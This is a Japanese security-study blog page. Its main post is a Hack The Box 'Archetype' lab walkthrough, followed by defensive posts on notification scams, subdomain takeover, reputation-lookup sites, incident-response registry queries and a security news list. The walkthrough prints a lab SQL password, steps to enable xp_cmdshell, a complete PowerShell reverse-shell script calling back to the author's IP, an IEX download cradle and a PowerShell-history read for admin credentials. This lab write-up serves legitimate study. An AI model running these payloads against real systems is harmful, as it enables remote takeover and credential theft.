家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Archtype

概要

Hack The BoxのArchetypeをやりながら学んだことをまとめます。
Starting Pointでは攻略の仕方が書かれていますが、私は書かれているコマンドの意味が理解できなかったので、色々と調べながら進めました。

 

 

 

nmapによるポートスキャン

解説には以下のコマンドが示されています。

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

これは「ports」という変数に空いているポートを代入し、2つ目のコマンドで詳細を調べているものとなります。

 

1つ目の「nmap -p- --min-rate=1000 -T4 10.10.10.27」の実行結果は以下のようになります。

 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-22 12:53 JST
Nmap scan report for 10.10.10.27
Host is up (0.19s latency).
Not shown: 65249 closed ports, 274 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown


1つ目のコマンドに続く「| grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)」は、上記の結果に対して、先頭が数字から始まる行を抜き出し、「/」で分割、分割した1つ目のフィールドの値を「,」でつなげるといったことをしています。

 

実際に「ports」に代入された値は以下のものになります。

$ echo $ports
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669

 

また、1つ目のコマンドのその他のオプションは以下の通りです。

-T4:スキャンのテンプレートでT0からT5まであります。

  • paranoid (0)
  • sneaky (1)
  • polite (2)
  • normal (3)
  • aggressive (4)
  • insane (5)

デフォルト(何も指定しないと)はT3で、T4はより高速にスキャンが行われます。さらに早いのがT5となります。

 

2つ目のコマンドでは上記のポートに対してサービスのバージョンなど詳細を調査しています。

  • -sC : デフォルトのスクリプトでスキャン(--script=defaultと同じ動作)
  • -sV : バージョンの検出

 

補足:nmapのスクリプト

Nmapにはスクリプトエンジンが搭載されています。この機能により、ユーザーはLuaというスクリプト言語を使用してNmapを拡張することができます。 

Nmapの調査

 

実行結果

$ nmap -sC -sV -p$ports 10.10.10.27 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-22 14:47 JST
Nmap scan report for 10.10.10.27
Host is up (0.21s latency).


PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-04-22T06:07:08
|_Not valid after:  2051-04-22T06:07:08
|_ssl-date: 2021-04-22T06:10:27+00:00; +21m46s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows


Host script results:
|_clock-skew: mean: 1h45m46s, deviation: 3h07m51s, median: 21m45s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-21T23:10:16-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-04-22T06:10:17
|_  start_date: N/A


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.01 seconds

 

smbclientによる調査

上記でSMBが動作していることがわかったのでsmbclientコマンドで接続を試みます。

smbclient -N -L \\\\10.10.10.27\\

smbclient -N \\\\10.10.10.27\\backups

 

オプションの説明 

-L
このオプションを指定すると、サーバー上で利用可能な サービスを一覧することができる。smbclient -L host のようにして使うと、サービスの一覧が表示される。 NetBIOS 名が TCP/IP の DNS のホスト名に一致しない場合や、 別のネットワーク上のホストの情報を表示しようとしている場合は、 -I オプションが役にたつ。

 

-N
このオプションを指定すると、クライアントはユーザーへの パスワード入力要求をしなくなる。パスワードが必要ないサービスにアクセスする ときに有用である。

コマンドラインにパスワードが指定されておらず、このオプションも指定 されていないと、クライアントはパスワードを要求する。

もしも、パスワードがコマンドライン上で指定され、このオプションも 定義されていた場合、コマンドライン上のパスワードは無視され、パスワードは 使われない。

www.samba.gr.jp

 

一つ目のコマンドで共有フォルダの一覧が表示されます。

表示された結果より、有益な情報が配置されていそうなフォルダを推測しアクセスします。

ここでは「backup」にアクセスします。(2つ目のコマンド)

 

backupのフォルダにアクセスすると、「prod.dtsConfig 」というファイルがあります。

 

「.dtsConfig」ファイルとは

DTSCONFIGファイルは、プロパティ値をSQL Server Integration Services(SSIS)パッケージに適用するために使用されるXML構成ファイルです。このファイルには、サーバー名、データベース名、SSISパッケージを構成するその他の接続プロパティなどのメタデータで構成される1つ以上のパッケージ構成が含まれています。

https://whatext.com/ja/dtsconfig

 

ファイルの中身を表示します。

<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>

アカウント情報が含まれていたため、上記を使ってSQLサーバにアクセスします。

 

SQLへのアクセス

チュートリアルでは、「impacket」の「mssqlclient.py」を使用してアクセスすることが記載されています。

「impacket」をインストールします。

 

「impacket」とは

「impacket」はネットワークを操作するためのPythonクラスのコレクション。

 

git clone https://github.com/SecureAuthCorp/impacket
pip3 install .

※pipでインストールすると、mssqlclient.pyがありませんでした。

 

先ほど確認したアカウント情報でアクセスしてみます。

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

 

ログイン後、以下のコマンドでアカウントの権限を確認します。

SELECT IS_SRVROLEMEMBER('sysadmin')

このコマンドで現在のユーザが「sysadmin」に属するか確認できます。

IS_SRVROLEMEMBER (Transact-SQL) - SQL Server | Microsoft Docs

 

「sysadmin」に属していることが確認できたため、「xp_cmdshell」を使用することが可能です。
「xp_cmdshell」はSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。

 

xp_cmdshellを利用可能にします。

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

 

「xp_cmdshell」について

xp_cmdshell (Transact-sql) - SQL Server | Microsoft Docs

 

「xp_cmdshell "実行したいコマンド"」で実行可能です。
※「ping 自分のIP」等も実行可能です。

 

チュートリアルでは「whoami」の実行結果より、管理者権限の有無を判断しています。

私は上記が理解できなかったので、「whoami /all」で実行した結果より判断しました。

f:id:iestudy:20210425133305p:plain

実行結果と判断

余談ですが、管理者権限による「whoami /all」の結果の違いは以下の通りです。

f:id:iestudy:20210425133540p:plain

管理者権限の有無による実行結果の違い

管理者権限はないようなので、スクリプトを実行して権限昇格を行います。

スクリプトはチュートリアルに示されているものを参考に、IPアドレスを自分のものに変更します。

 

shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("自分のIPアドレス",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while*1 -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

なお、viで上記を張り付ける際は「Shift+Insert」で張り付けるほうが良いみたいです。
echo等でスクリプトを作成した際に「$変数」の部分が消えてしまいました。

 

スクリプト実行

以下の手順でスクリプトを実行します。 

sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
sudo python3 -m http.server 80
sudo nc -lvnp 443

 

「SQL>」のターミナルで
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://自分のIPアドレス/shell.ps1\");"

 

上記が成功するとncで待ち受けているターミナルからシェルのコマンドを実行できます。

PowerShellの履歴ファイルを参照すると管理者アカウントの情報があります。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

 

 

f:id:iestudy:20210426111117p:plain

typeコマンドによる履歴の確認

 

上記で管理者権限のアカウント情報が確認できたので、「impacket」に含まれる「psexec.py」でアクセスします。

psexec.py administrator@10.10.10.27

 

上記で管理者権限のあるシェルが取得できます。

デスクトップ上にflagの記載された「root.txt」があります。

 

参考にさせていただいたサイト

qiita.com

 


 

*1:$i = $stream.Read($bytes, 0, $bytes.Length

ブラウザの通知機能から不審サイトに誘導する手口

概要

IPAよりブラウザの通知許可から不正なサイトに誘導する攻撃手口の注意喚起が出ています。

www.ipa.go.jp

 

 

 

攻撃の流れ

この攻撃は以下の流れで行われます。

  1. ウェブサイトを閲覧中にCAPCHA認証等を装って、ブラウザの通知を許可が求められる

    f:id:iestudy:20210417222033p:plain

    CAPCHA認証を装った例


  2. 通知を許可した場合、画面右下にセキュリティソフトの警告等を装った偽の通知が表示される

    f:id:iestudy:20210417222242p:plain

    偽警告メッセージの例
    ※よく見ると通知元はブラウザになっています。(赤枠)

  3. 上記で表示された通知をクリックすると不審なサイトに誘導される

PCやAndroidが対象となります。iOSには通知機能がないため対象外となります。


1.のステップで「許可」を押してしまうと不審サイトの通知許可がブラウザに登録されてしまい、ブラウザを起動中に「ウイルスに感染しています」等の通知が表示されるようです。

表示される通知は偽の通知であり、実際にはウイルス感染等はなく、利用者の不安をあおって不審サイトに誘導することが目的となります。

一つの事例として、通知許可を押してしまうと「LoadXX.biz」のサイトの通知許可が登録されるケースが確認されています。
※XXには数字が入るようです。

office54.net

 

なお、「プッシュ通知」では、ブラウザが起動時は任意のタイミングでサーバから通知を受け取りOSへ通知がなされます。

 

プッシュ通知について

Webプッシュ通知とは?仕組み、運用ポイント一気解説

https://laboradian.com/web-push/

 

実際に通知を許可した場合の動作を動画にしてみました。

youtu.be

 

対策として

まずは、ブラウザの通知許可を与える際に注意することが挙げられます。
また、通知許可をした場合は、ブラウザ設定から取り消す必要があります。
ChromeではURLに「chrome://settings/content/notifications」入力すると許可されたサイトが確認できます。そこから問題となるサイトを削除します。

 

補足:Chromeのオプション例

URL 機能
chrome://version Chromeの詳細なバージョン情報の表示
chrome://chrome-urls 特別なURLの一覧の表示
chrome://accessibility ユーザー補助機能の有効/無効
chrome://appcache-internals アプリケーションキャッシュの表示
chrome://apps インストールされている拡張アプリの一覧
chrome://blob-internals BLOB(Binary Large Object)という内部データの一覧
chrome://bluetooth-internals Bluetoothのインタフェースアダプターや機器の状態の表示
chrome://bookmarks ブックマークマネージャの起動
chrome://chrome Google Chromeの概要ページの表示
chrome://components Chromeに読み込まれているコンポーネントの一覧表示と更新
chrome://conflicts Chromeに読み込まれているモジュールの一覧と衝突情報の表示
chrome://crashes Chromeの障害発生ログ
chrome://credits Chromeに組み込まれているモジュールのライセンス情報の表示
chrome://device-log デバイスに関するログの表示
chrome://devices Chromeから利用できるデバイス(プリンタなど)の一覧
chrome://dino 横スクロールのゲームの起動
chrome://discards 破棄されたタブの情報の表示
chrome://download-internals Chrome内部での各種ダウンロード情報の表示
chrome://downloads ダウンロード画面の表示
chrome://extensions インストール済みの拡張機能の一覧画面
chrome://favicon/<URL> 指定したWebサイトの保存済みfavicon表示
chrome://flags Chromeの「試験的な機能」の有効/無効などの設定
chrome://gcm-internals Google Cloud Messaging情報の表示
chrome://gpu GPU関連情報の表示
chrome://help 「Google Chromeについて」画面の表示
chrome://histograms 各種統計情報のヒストグラム表示
chrome://history 履歴画面の表示
chrome://indexeddb-internals IndexedDB情報の表示
chrome://inspect Chromeデベロッパーツールの起動
chrome://interstitials Webページへの遷移直前に挟み込まれる各種通知/警告/エラー画面の表示
chrome://interventions-internals Chrome内部での各種プレビューやブラックリストの設定
chrome://invalidations Invalidationsに関するデバッグ情報の表示
chrome://local-state ローカルステート情報の表示
chrome://media-engagement ビデオや音声などのマルチメディアデータを再生したWebサイトの履歴の統計情報
chrome://media-internals ビデオや音声などのマルチメディアデータに関する情報の表示
chrome://nacl ChromeのNaCl情報の表示
chrome://net-export 通信データのキャプチャーや解析のための機能。通信プロトコルの詳細やタイミングなどが調査可能。キャプチャーされたデータはJSON形式でファイルに保存
chrome://net-internals 通信データのキャプチャーや解析のための機能。通信プロトコルの詳細やタイミングなどが調査可能。キャプチャーされたデータはリアルタイムで表示
chrome://network-error/<番号> ネットワークエラー画面の表示用URL
chrome://network-errors ネットワークエラーメッセージの一覧の表示
chrome://newtab 新しいタブページの表示
chrome://ntp-tiles-internals 新しいタブにタイル形式で表示される推奨ページ一覧の設定や詳細情報の表示
chrome://omnibox オムニボックス(アドレスバーのテキスト入力ボックスのこと)の機能(自動補完やサジェスチョンなど)のテスト画面
chrome://password-manager-internals パスワードマネジャーの表示
chrome://policy ブラウザポリシーの表示
chrome://predictors 自動補完リストなどの表示
chrome://print 印刷プレビューページの表示
chrome://quota-internals ディスクの使用量やクオータ設定などの表示
chrome://safe-browsing 安全ではないWebサイトの閲覧を防ぐ「セーフブラウジング」機能の内部情報の表示
chrome://serviceworker-internals Service Workerの情報の表示
chrome://settings 設定画面の表示。ツールバー右端のメニューから起動する[設定]メニューの画面と同じ
chrome://signin-internals サインイン情報の表示
chrome://site-engagement Webサイトの訪問回数の統計情報
chrome://suggestions サジェスチョン情報の表示
chrome://supervised-user-internals ユーザー情報の表示やフィルタリングの設定
chrome://sync-internals ユーザー設定の同期機能に関する情報の表示
chrome://system システム診断データの表示
chrome://taskscheduler-internals Chrome内部のタスクスケジューラの情報表示
chrome://terms Google Chrome利用規約の表示
chrome://thumbnails Webページのサムネイル情報の表示
chrome://tracing レイテンシやレンダリングなどの情報の記録と表示
chrome://translate-internals リソースの翻訳などに関する情報の表示
chrome://usb-internals USBデバイスに関する情報の表示
chrome://user-actions ユーザーアクティビティーのモニター
chrome://webrtc-internals WebRTCに関する内部データの取得
chrome://webrtc-logs WebRTCログの表示
chrome://badcastcrash バッドキャストクラッシュの実行
chrome://inducebrowsercrashforrealz/ クラッシュの実行
chrome://crash クラッシュの実行
chrome://crashdump クラッシュとダンプの実行
chrome://kill 強制終了
chrome://hang ハングの実行
chrome://shorthang ショートハングの実行
chrome://gpuclean GPUのクリアの実行
chrome://gpucrash GPUのクラッシュの実行
chrome://gpuhang GPUのハングの実行
chrome://memory-exhaust メモリ不足状態にする
chrome://ppapiflashcrash  Pepper Flashのクラッシュの実行
chrome://ppapiflashhang  Pepper Flashのハングの実行
chrome://inducebrowserheapcorruption/  ブラウザのヒープ領域の破壊を誘発
chrome://heapcorruptioncrash/ ヒープ領域の破壊によるクラッシュの実行
chrome://quit/ Chromeの終了
chrome://restart/ Chromeの再起動

【Google Chrome】「特別なURL」でトラシューや開発、管理に便利な機能を呼び出す(一覧あり):Google Chrome完全ガイド - @IT

 

 

 

サブドメインテイクオーバー(Subdomain Takeover)について

概要

Twitter上でAzureに関する以下のツイートを拝見しました。

 これは、サブドメインテイクオーバーという攻撃への対策となります。

 

 

 

サブドメインテイクオーバーとは

CNAMEレコードについて

CNAMEレコードは正規ホスト名に対する別名を定義するレコードです。
名前解決でCNAMEリソースレコードが見つかった場合は別名について名前解決を継続します。
特定のホスト名を別のドメイン名に転送する時などに利用するもので、主にCDN (Contents Delivery Network)等で使われています。

 

サブドメインテイクオーバーの仕組み

以下はJPRSのサイトの解説ですが、CNMAEレコードで登録したサーバの使用がなくなった後もDNS上にはCNAMEレコードが残っていた場合に、攻撃者が以前に使用していたサーバと同じ名前で攻撃サーバを立てることで攻撃者のサイトに誘導することができます。

f:id:iestudy:20210412195448p:plain

サブドメインテイクオーバーの仕組み(抜粋)

JPRS用語辞典|Subdomain Takeover(サブドメインテイクオーバー)

  

サブドメインテイクオーバーの事例

Webを閲覧しているといきなり「親愛なChromeユーザ様」「ラッキービジター」といったポップアップが表示されるサイトが表示されることがありますが、これにサブドメインテイクオーバーが使われているといった情報がありました。

 

 

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

jprs.jp

jprs.jp

 

 

 

 

レピュテーションの調査方法について

概要

不審な通信が検知された際に、通信先(IPアドレスやFQDN)が危険かどうかを判定するための判断材料の一つとして、通信先の評判(レピュテーション)を調べることができるサイトがあります。

この記事では無料で利用可能なサイトについてまとめます。

 

 

 

サイト一覧

サイト名 概要
Threat Crowd

ドメイン名、IPアドレス、ファイルのハッシュ値等から、
公開されている過去のマルウェア情報や関連情報が確認できます。

https://www.threatcrowd.org

PassiveTotal ドメイン名、IPアドレス、ファイルのハッシュ値等から、
公開されている過去のマルウェア情報や関連情報が確認できます。
WHOIS履歴の参照も可能です。

https://community.riskiq.com/

VirusTotal ファイルやウェブサイトの検査を行うウェブサイトです。
ドメイン名、IPアドレス、ファイルのハッシュ値等から検索することが可能です。

https://www.virustotal.com/

IPVoid IPアドレスのブラックリスト登録状況を確認することが可能です。

https://www.ipvoid.com/

AbuseIPDB AbuseIPDBはIPを検索することで、
その IPアドレスに関する他者からの報告を確認できます。
IPだけではなく、ドメインについても確認できます。

https://www.abuseipdb.com/

IPSpamList telnetスキャン、SSHブルートフォース攻撃に関与する悪意のあるIPアドレスを確認できます。

http://www.ipspamlist.com/

AlienVault 脅威情報を交換するためのオープンなコミュニティベースのプラットフォームで、
アカウント登録をすれば誰でも無料で使用することができます。

https://otx.alienvault.com/preview

Multi-RBL Check Results

複数サイトでのRBL(Realtime Blackhole Listまたは、
Realtime BlackListの略でウイルスやスパムを送信している可能性のあるサーバの情報)
を確認できます。

http://www.anti-abuse.org/

aguse aguseは不審サイトを安全にブラウジングして調査できるサイトです。
また、IPアドレスを検索することで複数ブラックリストの判定結果を確認できます。

https://www.aguse.jp/

IBM X-Force Exchange IBM X-Force Exchangeは、脅威インテリジェンスのプラットフォームです。
ドメイン名、IPアドレス、ファイルのハッシュ値等から検索することが可能です。

https://exchange.xforce.ibmcloud.com/

 
SPAMHOUSE DNSBLでは最も有名なサービスです。
スパムメールの発信源となっているIPアドレスのレピュテーションを確認できます。 

https://www.spamhaus.org/

 

 

 

インシデント発生時の初動調査の手引き

概要

「サイバーレスキュー隊(J-CRAT)技術レポート2017 インシデント発生時の初動調査の手引き~WindowsOS標準ツールで感染を見つける~」で学んだことをまとめます。

www.ipa.go.jp

 

 

 

 

J-CRATとは

IPAは標的型サイバー攻撃の被害拡大防止のため、2014年7月16日、経済産業省の協力のもと、相談を受けた組織の被害の低減と攻撃の連鎖の遮断を支援する活動として、サイバーレスキュー隊(J-CRAT:Cyber Rescue and Advice Team against targeted attack of Japan)を発足させました。
J-CRATは、「標的型サイバー攻撃特別相談窓口」にて、広く一般から相談や情報提供を受付けています。

 

本記事の概要

この資料は、インシデントの初期段階に実施すべき「初動調査」について具体的な手順を解説しています。
そして、解説されている内容はJ-CRATのレスキュー活動において初動対応でも活用しているものとなります。

ガイドラインの章構成は以下の通りです。

目次
1.はじめに
1.1.本レポートの目的と想定読者
1.2.インシデント対応における調査の全体像
1.3.本レポートでの対象範囲と前提環境
2.基礎知識
2.1.マルウェア感染の特性
2.1.1.永続化
2.1.2.偽装
2.1.3.外部通信
2.2.攻撃痕跡を判断するために
2.2.1.マルウェアが配置されやすい場所(感染頻出箇所)
2.2.2.実行痕跡
2.2.3.攻撃によく使われるツール
2.3.情報収集作業の事前知識
2.4.共通する手法とツール
3.情報収集
3.1.永続化設定の取得
3.1.1.スタートアップ起動プログラム
3.1.2.サービス起動プログラム
3.1.3.スタートアップフォルダ
3.1.4.タスクスケジューラ
3.2.外部通信情報の取得
3.2.1.DNSキャッシュ
3.2.2.ネットワーク接続情報
3.3.実行痕跡の取得
3.3.1.アプリケーションの実行痕跡
3.3.2.実行痕跡の収集
3.4.感染頻出箇所の取得
3.5.情報収集コマンドの整理
3.6.活用例(バッチファイル)
4.評価
4.1.評価の基本的な手順
4.1.1.評価対象別の手順
4.2.永続化設定の評価
4.2.1.スタートアップ起動プログラムの評価と感染例
4.2.1.サービス起動プログラムの評価と感染例
4.2.2.タスクスケジューラでの評価と感染例
4.3.通信先の評価
4.3.1.DNSキャッシュの評価手順
4.3.2.ネットワーク接続情報の評価手順
4.4.実行痕跡の評価
4.4.1.実行痕跡評価の手順
4.4.2.実行痕跡における着眼点
4.5.感染頻出箇所の評価
4.5.1.感染頻出箇所における着眼点
4.6.攻撃事例と痕跡
4.6.1.攻撃事例概要
4.6.2.痕跡
5.おわりに

 

2章では標的型攻撃で使用されるマルウェアの基本的な情報をまとめています。

マルウェアの特性

永続化

攻撃者はRATを利用する場合が多く見られます。また、感染させた状態を維持しておくため、RAT等をOS起動時に自動的に起動するように設定します。これが永続化という特性です。

Windowsでは以下の部分に設定されることが多いです。

  • 自動起動レジストリ
  • スタートアップ起動プログラム
  • サービス起動プログラム
  • スタートアップフォルダ
  • ログオンスクリプト
  • タスクスケジューラ

偽装

マルウェアはフォルダ名やファイル名、サービス名などを偽装することが多く見られます。

  • 著名なアプリケーションと同じ、または似せた名称を使用
  • Windowsの正規ファイルと同じ、または似せた名称をファイル名を使用

また、マルウェアの起動時に偽装を行うケースもあります。

  • Windows標準の正規プログラムを利用する。
  • 正規アプリケーションの一部のプログラムを利用する。

外部通信

外部通信に関しては、ネットワーク機器の調査が必要になりますが、このレポートではPCを対象としており、外部への通信の調査の一つとして「DNSキャッシュ」の調査を解説しています。

 

攻撃の痕跡確認

マルウェアが配置されやすい場所(感染頻出箇所)

マルウェアが配置される傾向にあるフォルダがあります。特に管理者権限がないユーザーが権限を有し、環境変数でアクセスしやすい箇所がそれにあたります。

f:id:iestudy:20210409200757p:plain

感染頻出箇所

 

実行痕跡

マルウェアが実行された痕跡の調査例として以下のものが解説されています。

f:id:iestudy:20210409200942p:plain

実行痕跡の例

上記の「RunMRU」に関して、これは「ファイル名を指定して実行」で実行したプログラムの情報で、以下のレジストリに格納されています。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

 

また「Prefetch」は、利用頻度が高いアプリケーションの起動を高速化する仕組みで、WindowsXPから導入されたものです。プログラムが起動された10秒後に、「C:\Windows\Prefetch」に、ファイル名が「プログラム名-フルパスのハッシュ値.pf」のファイルが作成されます。

ハッシュ値は、プログラムのフルパスから計算されるため、「プログラム名」部分が同一でハッシュ値が異なるPFファイルは、異なるフォルダから実行されたと判断できます。
PFファイルには、プログラムのフルパス、実行日時、実行回数、プログラムが起動時に読み込んだファイル名(DLLファイルなど)、ボリューム関連情報が記録されます。

 

3章では実際の調査方法を解説しています。

 

調査するユーザアカウントに関して

インシデントの調査時には、調査するユーザアカウントに注意する必要があります。

Windowsのレジストリには以下のものがあります。

f:id:iestudy:20210409202354p:plain

主なルートキー

HKCUは、現在ログオンしているユーザーのレジストリとなるため、インシデント検知時のログオンユーザーと情報収集時のログオンユーザーが異なると情報収集する内容も異なる場合があります。

また、レジストリ以外にもユーザごとに作成されるものとしてプロファイルがあります。
レジストリと同じく、調査対象となるユーザーアカウントでログオン時に情報収集することが推奨されます。
なお、プロファイルの情報は以下のコマンドで確認できます。

wmic path win32_userprofile

永続化設定の取得

システムのスタートアップ時に起動されるプログラムをレジストリから取得します。

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/s

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"/s

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx" /s

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /s

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/s

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"/s

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"/v "Userinit"

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"/v "Shell"

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /s

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows"/v "AppInit_DLLs"

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /s

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx" /s

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices" /s

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /s

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"/s

reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows"/v "Load"

reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows"/v "Run"

reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"

reg query "HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run"/s

 

サービス起動プログラムもレジストリから収集できます。

reg query HKLM\SYSTEM\currentControlSet\services /s

 

スタートアップフォルダの位置は、下記レジストリに設定されています。
このレジストリの値“Startup”を照会するよう指定して収集します。

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"/v "Startup"

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"/v "Startup"

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"/v "Startup"

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"/v "Startup"

 

上記実行後に実際のファイルを取得します

dir /q /r /s "C:\Users\hajime.kamagata\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"


タスクスケジューラも永続化させる手段としてよく使われます。

下記コマンドで設定内容を出力できます。

schtasks /fo CSV /query /v

外部通信情報の取得

ipconfig /displaydns
netstat -naob

 

実行痕跡

プリフェッチ

dir /od /tc C:\Windows\PreFetch\

RunMRU

reg query " HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU "/s

TypedURLsTypedURLs

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /s

PsExecの実行痕跡

PsExecはリモート実行ツールで、感染拡大によく利用されます。レジストリを確認することで、過去に実行したことがあるかを判断できます。

reg query "HKEY_USERS" /s /k /f PsExec
reg query "HKCU\Software\Sysinternals\PsExec" /s

 

 

 

 

2021年3月のIT・セキュリティトピック

2021年3月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2021/03/01 マイナビ転職、21万人のWeb履歴書に不正アクセス|セキュリティ通信
2021/03/01 議会公聴会でSolarWinds製品を悪用したハッキングについて議論--マイクロソフト幹部ら
2021/03/01 中国に関係するグループRedEchoがインドの電力セクターを標的に
2021/03/01 航空大手ボンバルディアにサイバー攻撃、内部データが流出
2021/03/01 テレビ通販サイトに不正アクセス - 関西テレビ関連会社
2021/03/02 Goで書かれたマルウェアが増加傾向--APTと犯罪グループの両方が利用
2021/03/02 ハッカーがほぼ全モデルのiPhoneに有効な新しい脱獄ツールを公開
2021/03/02 PC2台に不正アクセス、マルウェア感染も - 日本通運
2021/03/03 サイバー攻撃グループ「Lazarus」が、新たに防衛産業を攻撃対象に
2021/03/03 茨城・龍ケ崎市の副市長ら逮捕 入札情報漏洩の疑い
2021/03/03 偽イーロン・マスク、詐欺ウォレットアドレスへ送金=2600万円超の被害
2021/03/04 中国の国家ハッカーがExchange Serverの脆弱性をゼロデイ攻撃、マイクロソフトが警告
2021/03/03 相次ぐクラウド設定ミスによる情報漏洩を防止 新サービス「クラウド設定ミス診断」の提供開始
2021/03/04 サンド伊達、クレカ不正利用の被害に 「ボコボコにしてやりたい」
2021/03/05 フィッシング110番の紹介 | 奈良県警察本部
2021/03/04 不正アクセスで33人分の情報閲覧 瑞穂市検診予約サイト
2021/03/04 顧客情報6千件複製疑い 元携帯販売会社の男逮捕
